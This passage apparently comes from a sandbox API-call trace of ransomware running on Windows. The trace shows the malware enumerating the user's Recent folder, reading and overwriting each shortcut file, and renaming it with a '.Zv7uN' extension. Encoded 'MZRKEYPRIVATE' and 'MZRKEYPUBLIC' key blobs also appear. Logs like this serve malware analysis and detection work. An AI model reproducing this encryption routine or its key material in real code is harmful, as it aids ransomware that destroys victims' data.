HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jRDJUl7IMjUxPV.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jrdjul7imjuxpv.mkv.lnk.zv7un")) returned 1 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] GetCurrentThreadId () returned 0xa30 [0081.877] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7f5800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1992, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Jyh1PVUP5TT-PP.lnk", cAlternateFileName="JYH1PV~1.LNK")) returned 1 [0081.877] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.877] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7f5800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1992)) returned 1 [0081.877] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk")) returned 0x20 [0081.877] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk", dwFileAttributes=0x80) returned 1 [0081.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.881] GetCurrentThreadId () returned 0xa30 [0081.881] GetCurrentThreadId () returned 0xa30 [0081.881] GetCurrentThreadId () returned 0xa30 [0081.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.882] GetCurrentThreadId () returned 0xa30 [0081.882] GetCurrentThreadId () returned 0xa30 [0081.882] GetCurrentThreadId () returned 0xa30 [0081.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.882] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.882] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.883] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1992 [0081.883] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.883] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1992, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1992, lpOverlapped=0x0) returned 1 [0081.885] CloseHandle (hObject=0x124) returned 1 [0081.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.887] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1992, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1992, lpOverlapped=0x0) returned 1 [0081.888] CloseHandle (hObject=0x124) returned 1 [0081.890] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jyh1PVUP5TT-PP.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jyh1pvup5tt-pp.lnk.zv7un")) returned 1 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] GetCurrentThreadId () returned 0xa30 [0081.891] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2037ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2037ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2037ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="kaymVO_E ijSZ80WGb.lnk", cAlternateFileName="KAYMVO~1.LNK")) returned 1 [0081.891] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.891] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2037ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2037ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2037ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0081.892] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kaymvo_e ijsz80wgb.lnk")) returned 0x20 [0081.892] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kaymVO_E ijSZ80WGb.lnk", dwFileAttributes=0x80) returned 1 [0081.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 